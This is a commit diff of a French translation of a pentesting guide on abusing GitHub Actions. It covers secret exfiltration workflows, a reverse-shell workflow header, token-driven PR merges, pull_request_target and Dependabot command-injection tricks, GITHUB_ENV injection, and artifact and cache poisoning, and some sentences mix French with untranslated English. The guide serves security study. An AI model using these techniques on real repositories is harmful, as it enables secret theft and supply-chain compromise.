Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

This commit is contained in:
Translator
2025-09-29 21:34:49 +00:00
parent d45b697707
commit 5789dc7b04
3 changed files with 411 additions and 242 deletions

View File

@@ -1,58 +1,58 @@
# Abuser des Github Actions
# Abuser de Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Outils
Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
Les outils suivants sont utiles pour trouver des workflows Github Action et même en identifier des vulnérables :
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Vérifiez également sa liste de contrôle à [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Informations de base
Sur cette page, vous trouverez :
Sur cette page vous trouverez :
- Un **résumé de tous les impacts** d'un attaquant parvenant à accéder à une Github Action
- Différentes manières de **get access to an action** :
- Avoir des **permissions** pour créer l'action
- Abuser des déclencheurs liés aux **pull requests**
- Abuser d'autres techniques d'**accès externe**
- **Pivoting** à partir d'un dépôt déjà compromis
- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (causant les impacts mentionnés)
- Un **résumé de tous les impacts** qu'un attaquant peut causer en accédant à une Github Action
- Différentes façons de **obtenir l'accès à une action** :
- Avoir les **permissions** pour créer l'action
- Abuser des **déclencheurs** liés aux **pull request**
- Abuser d'**autres techniques d'accès externe**
- **Pivoting** depuis un repo déjà compromis
- Enfin, une section sur les **techniques de post-exploitation pour abuser d'une action de l'intérieur** (provoquant les impacts mentionnés)
## Résumé des impacts
Pour une introduction sur [**Github Actions, consultez les informations de base**](../basic-github-information.md#github-actions).
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Si vous pouvez **exécuter du code arbitraire dans GitHub Actions** au sein d'un **dépôt**, vous pourriez être en mesure de :
- **Voler des secrets** montés dans le pipeline et **abuser des privilèges du pipeline** pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
- **Compromettre des déploiements** et d'autres **artéfacts**.
- Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
- **Exécuter du code dans des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
- **Écraser le code du dépôt**, en fonction des permissions associées au `GITHUB_TOKEN`.
- **Compromettre des déploiements** et d'autres **artefacts**.
- Si le pipeline déploie ou stocke des assets, vous pouvez altérer le produit final, permettant une supply chain attack.
- **Exécuter du code sur des workers personnalisés** pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
- **Écraser le code du dépôt**, selon les permissions associées au `GITHUB_TOKEN`.
## GITHUB_TOKEN
Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est donné lorsque l'administrateur active cette option :
Ce "**secret**" (provenant de `${{ secrets.GITHUB_TOKEN }}` et `${{ github.token }}`) est fourni lorsque l'admin active cette option :
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Ce token est le même qu'une **application Github utilisera**, donc il peut accéder aux mêmes points de terminaison : [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github devrait publier un [**flux**](https://github.com/github/roadmap/issues/74) qui **permet l'accès inter-dépôts** au sein de GitHub, afin qu'un dépôt puisse accéder à d'autres dépôts internes en utilisant le `GITHUB_TOKEN`.
> Github devrait publier un [**flow**](https://github.com/github/roadmap/issues/74) qui **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
Vous pouvez voir les **permissions** possibles de ce token ici : [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Notez que le token **expire après la fin du job**.\
Ces tokens ressemblent à ceci : `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Notez que le token **expire après l'exécution du job**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Quelques choses intéressantes que vous pouvez faire avec ce token :
Quelques usages intéressants de ce token :
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approuver PR" }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Créer PR" }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Notez qu'à plusieurs reprises, vous pourrez trouver **des jetons d'utilisateur github dans les environnements Github Actions ou dans les secrets**. Ces jetons peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
> Notez que, à plusieurs reprises, vous pourrez trouver **github user tokens inside Github Actions envs or in the secrets**. Ces tokens peuvent vous donner davantage de privilèges sur le dépôt et l'organisation.
<details>
<summary>Liste des secrets dans la sortie de Github Action</summary>
<summary>Lister les secrets dans la sortie de Github Action</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obtenir un shell inversé avec des secrets</summary>
<summary>Obtenir un reverse shell avec des secrets</summary>
```yaml
name: revshell
on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
Il est possible de vérifier les permissions accordées à un Github Token dans les dépôts d'autres utilisateurs **en vérifiant les journaux** des actions :
Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs **en vérifiant les logs** des actions :
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Exécution Autorisée
## Exécution autorisée
> [!NOTE]
> Ce serait le moyen le plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à **créer un nouveau dépôt dans l'organisation**, ou que vous avez **des privilèges d'écriture sur un dépôt**.
> Ceci serait la façon la plus simple de compromettre Github actions, car ce cas suppose que vous avez accès pour **créer un nouveau repo dans l'organisation**, ou que vous avez des **privilèges d'écriture sur un repository**.
>
> Si vous êtes dans ce scénario, vous pouvez simplement vérifier les [techniques de Post Exploitation](#post-exploitation-techniques-from-inside-an-action).
> Si vous êtes dans ce scénario vous pouvez juste check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Exécution depuis la Création de Dépôt
### Exécution depuis la création d'un repo
Dans le cas où des membres d'une organisation peuvent **créer de nouveaux dépôts** et que vous pouvez exécuter des actions github, vous pouvez **créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation**.
Si les membres d'une organisation peuvent **create new repos** et que vous pouvez exécuter github actions, vous pouvez **create a new repo and steal the secrets set at organization level**.
### Exécution depuis une Nouvelle Branche
### Exécution depuis une nouvelle branche
Si vous pouvez **créer une nouvelle branche dans un dépôt qui contient déjà une Action Github** configurée, vous pouvez **la modifier**, **télécharger** le contenu, puis **exécuter cette action depuis la nouvelle branche**. De cette manière, vous pouvez **exfiltrer les secrets au niveau du dépôt et de l'organisation** (mais vous devez savoir comment ils sont appelés).
Si vous pouvez **create a new branch in a repository that already contains a Github Action** configurée, vous pouvez la **modify**, **upload** le contenu, et ensuite **execute that action from the new branch**. De cette façon vous pouvez **exfiltrate repository and organization level secrets** (mais vous devez savoir comment ils sont appelés).
Vous pouvez rendre l'action modifiée exécutable **manuellement,** lorsqu'un **PR est créé** ou lorsque **du code est poussé** (selon le niveau de discrétion que vous souhaitez avoir) :
> [!WARNING]
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
Vous pouvez rendre l'action modifiée exécutable **manuellement**, lorsqu'une **PR est créée** ou lorsqu'un **push est effectué** (selon le niveau de bruit que vous souhaitez) :
```yaml
on:
workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
```
---
## Exécution Forkée
## Exécution forkée
> [!NOTE]
> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une Github Action d'un autre dépôt**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être en mesure de les compromettre.
> Il existe différents déclencheurs qui pourraient permettre à un attaquant d'**exécuter une Github Action d'un autre repository**. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être capable de les compromettre.
### `pull_request`
Le déclencheur de workflow **`pull_request`** exécutera le workflow chaque fois qu'une demande de tirage est reçue avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un **mainteneur** devra **approuver** l'**exécution** du workflow :
Le workflow trigger **`pull_request`** exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la **première fois** que vous **collaborez**, un(e) **maintainer** devra **approuver** l'**exécution** du workflow :
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Comme la **limitation par défaut** est pour les **contributeurs de première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** et ensuite envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
> Comme la **limitation par défaut** s'applique aux contributeurs **pour la première fois**, vous pourriez contribuer en **corrigeant un bug/typo valide** puis envoyer **d'autres PRs pour abuser de vos nouveaux privilèges `pull_request`**.
>
> **J'ai testé cela et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et a supprimé son compte.~~
> **J'ai testé ceci et ça ne fonctionne pas** : ~~Une autre option serait de créer un compte au nom de quelqu'un qui a contribué au projet et qui a supprimé son compte.~~
De plus, par défaut, cela **empêche les permissions d'écriture** et **l'accès aux secrets** du dépôt cible comme mentionné dans les [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) :
De plus, par défaut cela **empêche les permissions d'écriture** et **l'accès aux secrets** dans le dépôt cible comme mentionné dans la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> À l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché depuis un dépôt **forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les demandes de tirage **provenant de dépôts forkés**.
> Avec l'exception de `GITHUB_TOKEN`, **les secrets ne sont pas transmis au runner** lorsqu'un workflow est déclenché à partir d'un **repository forké**. Le **`GITHUB_TOKEN` a des permissions en lecture seule** dans les pull requests **provenant de repositories forkés**.
Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ou écraser le dépôt en raison des limitations mentionnées.
Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler les secrets ni écraser le repo à cause des limitations mentionnées.
> [!CAUTION]
> **Oui, si l'attaquant change dans la PR l'action github qui sera déclenchée, son Github Action sera celle utilisée et non celle du dépôt d'origine !**
> **Oui, si l'attaquant change dans la PR la github action qui sera déclenchée, sa Github Action sera celle utilisée et non celle du repo d'origine !**
Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **télécharger des artefacts malveillants**.
Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ni de permissions d'écriture sur le `GITHUB_TOKEN`, un attaquant pourrait par exemple **téléverser des artefacts malveillants**.
### **`pull_request_target`**
Le déclencheur de workflow **`pull_request_target`** a **la permission d'écriture** sur le dépôt cible et **l'accès aux secrets** (et ne demande pas de permission).
Le workflow trigger **`pull_request_target`** dispose de **permissions d'écriture** sur le dépôt cible et **d'accès aux secrets** (et ne demande pas d'autorisation).
Notez que le déclencheur de workflow **`pull_request_target`** **s'exécute dans le contexte de base** et non dans celui donné par la PR (pour **ne pas exécuter de code non fiable**). Pour plus d'infos sur `pull_request_target`, [**consultez les docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
De plus, pour plus d'infos sur cet usage dangereux spécifique, consultez ce [**post de blog github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Notez que le workflow trigger **`pull_request_target`** **s'exécute dans le contexte base** et non dans celui fourni par la PR (afin de ne pas exécuter du code non fiable). Pour plus d'infos sur `pull_request_target` [**consultez la documentation**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez cet [**article du blog GitHub**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Cela peut sembler parce que le **workflow exécuté** est celui défini dans la **base** et **non dans la PR**, qu'il est **sécurisé** d'utiliser **`pull_request_target`**, mais il y a **quelques cas où ce n'est pas le cas**.
On pourrait penser que parce que le workflow exécuté est celui défini dans la branche base et non dans la PR, il est sûr d'utiliser `pull_request_target`, mais il y a quelques cas où ce n'est pas le cas.
Et celui-ci aura **accès aux secrets**.
Et celui-ci aura accès aux secrets.
### `workflow_run`
Le déclencheur [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permet d'exécuter un workflow à partir d'un autre lorsqu'il est `complété`, `demandé` ou `en cours`.
Le trigger `workflow_run` permet d'exécuter un workflow à partir d'un autre lorsque celui-ci est `completed`, `requested` ou `in_progress`.
Dans cet exemple, un workflow est configuré pour s'exécuter après la fin du workflow séparé "Exécuter des tests" :
Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow distinct "Run Tests" soit terminé :
```yaml
on:
workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
De plus, selon la documentation : Le workflow démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas**.
De plus, d'après la documentation : Le workflow démarré par l'événement `workflow_run` peut **accéder aux secrets et écrire des tokens, même si le workflow précédent ne pouvait pas**.
Ce type de workflow pourrait être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le workflow déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\
Le second consiste à **passer** un **artifact** du code **non fiable** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
Ce type de workflow peut être attaqué s'il dépend d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Le premier consiste en un workflow déclenché par **`workflow_run`** qui télécharge le code de l'attaquant : `${{ github.event.pull_request.head.sha }}`
Le second consiste à **passer** un **artifact** depuis le code **non fiable** vers le workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**.
### `workflow_call`
TODO
TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le code utilisé/téléchargé est celui de l'origine ou de la PR forkée.
TODO : Vérifier si, lorsqu'il est exécuté depuis un pull_request, le code utilisé/téléchargé est celui de l'origin ou celui du PR forké
## Abus de l'exécution forkée
## Abusing Forked Execution
Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow GitHub ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :
### Exécution de checkout non fiable
### Exécution du checkout non fiable
Dans le cas de **`pull_request`,** le workflow va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
Dans le cas de **`pull_request`**, le workflow va être exécuté dans le **contexte du PR** (donc il exécutera le **code malveillant du PR**), mais quelqu'un doit d'abord **l'autoriser** et il s'exécutera avec certaines [limitations](#pull_request).
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**.
Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché depuis **`pull_request_target` ou `pull_request`**, le code du repo d'origine sera exécuté, donc **l'attaquant ne peut pas contrôler le code exécuté**.
> [!CAUTION]
> Cependant, si l'**action** a un **checkout PR explicite** qui **récupère le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
> Cependant, si l'**action** effectue un **checkout PR explicite** qui va **récupérer le code depuis le PR** (et non depuis la base), elle utilisera le code contrôlé par l'attaquant. Par exemple (vérifiez la ligne 12 où le code du PR est téléchargé) :
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -279,32 +282,32 @@ message: |
Thank you!
</code></pre>
Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** car les scripts de construction et les **packages référencés sont contrôlés par l'auteur de la PR**.
Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** puisque les scripts de build et les **packages référencés sont contrôlés par l'auteur du PR**.
> [!WARNING]
> Un dork github pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` cependant, il existe différentes manières de configurer les jobs pour être exécutés en toute sécuri même si l'action est configurée de manière non sécurisée (comme l'utilisation de conditionnelles sur qui est l'acteur générant la PR).
> Un github dork pour rechercher des actions vulnérables est : `event.pull_request pull_request_target extension:yml` toutefois, il existe différentes manières de configurer les jobs pour qu'ils s'exécutent de façon sécurisée même si l'action est configurée de manière non sécurisée (par exemple en utilisant des conditionnels sur qui est l'actor générant le PR).
### Injections de scripts de contexte <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Injections de script via les contextes <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
Notez qu'il existe certains [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant le PR. Si l'action GitHub utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **Injection de script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **Injection via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
Si un attaquant pouvait **injecter n'importe quelle valeur** à l'intérieur de cette **variable env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable d'**env**, il pourrait injecter des variables d'environnement capables d'exécuter du code dans les étapes suivantes comme **LD_PRELOAD** ou **NODE_OPTIONS**.
Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu à l'intérieur de la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
Par exemple ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot et autres bots de confiance
Comme indiqué dans [**cet article de blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une action Github qui fusionne toute PRR de `dependabot[bot]` comme dans :
Comme indiqué dans [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), plusieurs organisations ont une GitHub Action qui merge toute PRR venant de `dependabot[bot]` comme dans :
```yaml
on: pull_request_target
jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Ce qui pose un problème car le champ `github.actor` contient l'utilisateur qui a causé le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur `dependabot[bot]` modifie une PR. Par exemple :
Ce qui pose problème car le champ `github.actor` contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons d'amener l'utilisateur `dependabot[bot]` à modifier une PR. Par exemple :
- Forker le dépôt de la victime
- Ajouter le payload malveillant à votre copie
- Activer Dependabot sur votre fork en ajoutant une dépendance obsolète. Dependabot créera une branche corrigeant la dépendance avec du code malveillant.
- Ouvrir une Pull Request vers le dépôt de la victime depuis cette branche (la PR sera créée par l'utilisateur donc rien ne se passera encore)
- Créez un fork du dépôt victime
- Ajoutez la payload malveillante à votre copie
- Activez Dependabot sur votre fork en ajoutant une dépendance obsolète. Dependabot créera une branche corrigeant la dépendance avec du code malveillant.
- Ouvrez une Pull Request vers le dépôt victime depuis cette branche (la PR sera créée par l'utilisateur donc rien ne se passera pour l'instant)
- Ensuite, l'attaquant revient à la PR initiale que Dependabot a ouverte dans son fork et exécute `@dependabot recreate`
- Ensuite, Dependabot effectue certaines actions dans cette branche, qui modifient la PR sur le dépôt de la victime, ce qui fait de `dependabot[bot]` l'acteur du dernier événement ayant déclenché le workflow (et donc, le workflow s'exécute).
- Ensuite, Dependabot effectue certaines actions sur cette branche, ce qui modifie la PR sur le dépôt victime, faisant de `dependabot[bot]` l'actor du dernier événement ayant déclenché le workflow (et donc, le workflow s'exécute).
Passons à autre chose, que se passerait-il si au lieu de fusionner, l'Action Github avait une injection de commande comme dans :
Pour continuer, que se passerait-il si, au lieu de merger, la Github Action avait une command injection comme dans :
```yaml
on: pull_request_target
jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Bien, le blog original propose deux options pour abuser de ce comportement, la deuxième étant :
Le billet original propose deux options pour abuser de ce comportement, la deuxième étant :
- Forker le dépôt de la victime et activer Dependabot avec une dépendance obsolète.
- Créer une nouvelle branche avec le code d'injection de shell malveillant.
- Changer la branche par défaut du dépôt pour celle-ci.
- Créer une PR à partir de cette branche vers le dépôt de la victime.
- Faire un fork du dépôt victime et activer Dependabot avec une dépendance obsolète.
- Créer une nouvelle branche contenant le code malveillant de shell injection.
- Changer la branche par défaut du repo pour celle-ci
- Créer une PR depuis cette branche vers le dépôt victime.
- Exécuter `@dependabot merge` dans la PR que Dependabot a ouverte dans son fork.
- Dependabot fusionnera ses modifications dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt de la victime, faisant maintenant de `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et utilisant un nom de branche malveillant.
- Dependabot fusionnera ses changements dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt victime, faisant maintenant du `dependabot[bot]` l'acteur du dernier événement qui a déclenché le workflow et en utilisant un nom de branche malveillant.
### Actions Github tierces vulnérables
### Github Actions tiers vulnérables
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Comme mentionné dans [**ce blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Action Github permet d'accéder à des artefacts provenant de différents workflows et même de dépôts.
Comme mentionné dans [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette Github Action permet d'accéder à des artifacts provenant de différents workflows et même de plusieurs repositories.
Le problème est que si le paramètre **`path`** n'est pas défini, l'artefact est extrait dans le répertoire courant et peut écraser des fichiers qui pourraient être utilisés ou même exécutés dans le workflow. Par conséquent, si l'artefact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artefact.
Le problème est que si le **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Exemple de workflow vulnérable :
Exemple de workflow vulnérable:
```yaml
on:
workflow_run:
@@ -373,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Cela pourrait être attaqué avec ce flux de travail :
Cela pourrait être attaqué avec ce workflow :
```yaml
name: "some workflow"
on: pull_request
@@ -390,35 +393,35 @@ path: ./script.py
```
---
## Autre Accès Externe
## Autres External Access
### Détournement de Namespace de Dépôt Supprimé
### Deleted Namespace Repo Hijacking
Si un compte change de nom, un autre utilisateur pourrait enregistrer un compte avec ce nom après un certain temps. Si un dépôt avait **moins de 100 étoiles avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer un **dépôt avec le même nom** que celui supprimé.
Si un compte change son nom, un autre utilisateur peut enregistrer un compte avec ce nom après un certain temps. Si une repository avait **moins de 100 stars avant le changement de nom**, Github permettra au nouvel utilisateur enregistré avec le même nom de créer une **repository avec le même nom** que celle supprimée.
> [!CAUTION]
> Donc, si une action utilise un dépôt d'un compte inexistant, il est toujours possible qu'un attaquant puisse créer ce compte et compromettre l'action.
> Donc, si une action utilise un repo provenant d'un compte inexistant, il est toujours possible qu'un attaquant crée ce compte et compromette l'action.
Si d'autres dépôts utilisaient **des dépendances de ces dépôts utilisateurs**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Si d'autres repositories utilisaient **dependencies provenant des repos de cet utilisateur**, un attaquant pourra les détourner. Voici une explication plus complète : [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Pivotement de Dépôt
## Repo Pivoting
> [!NOTE]
> Dans cette section, nous allons parler des techniques qui permettraient de **pivoter d'un dépôt à un autre** en supposant que nous avons un certain type d'accès au premier (voir la section précédente).
> Dans cette section nous parlerons de techniques qui permettraient de **pivot from one repo to another** en supposant que nous avons un certain accès au premier (voir la section précédente).
### Empoisonnement de Cache
### Cache Poisoning
Un cache est maintenu entre **les exécutions de workflow dans la même branche**. Ce qui signifie que si un attaquant **compromet** un **package** qui est ensuite stocké dans le cache et **téléchargé** et exécuté par un **workflow plus privilégié**, il pourra également **compromettre** ce workflow.
Un cache est maintenu entre les **wokflow runs in the same branch**. Ce qui signifie que si un attaquant parvient à **compromise** un **package** qui est ensuite stocké dans le cache et **downloaded** et exécuté par un workflow **more privileged**, il pourra également **compromise** ce workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Empoisonnement d'Artifact
### Artifact Poisoning
Les workflows pourraient utiliser **des artifacts d'autres workflows et même de dépôts**, si un attaquant parvient à **compromettre** l'Action Github qui **télécharge un artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromettre les autres workflows** :
Les workflows peuvent utiliser des **artifacts from other workflows and even repos**, si un attaquant parvient à **compromise** le Github Action qui **uploads an artifact** qui est ensuite utilisé par un autre workflow, il pourrait **compromise the other workflows** :
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -426,8 +429,33 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation d'une Action
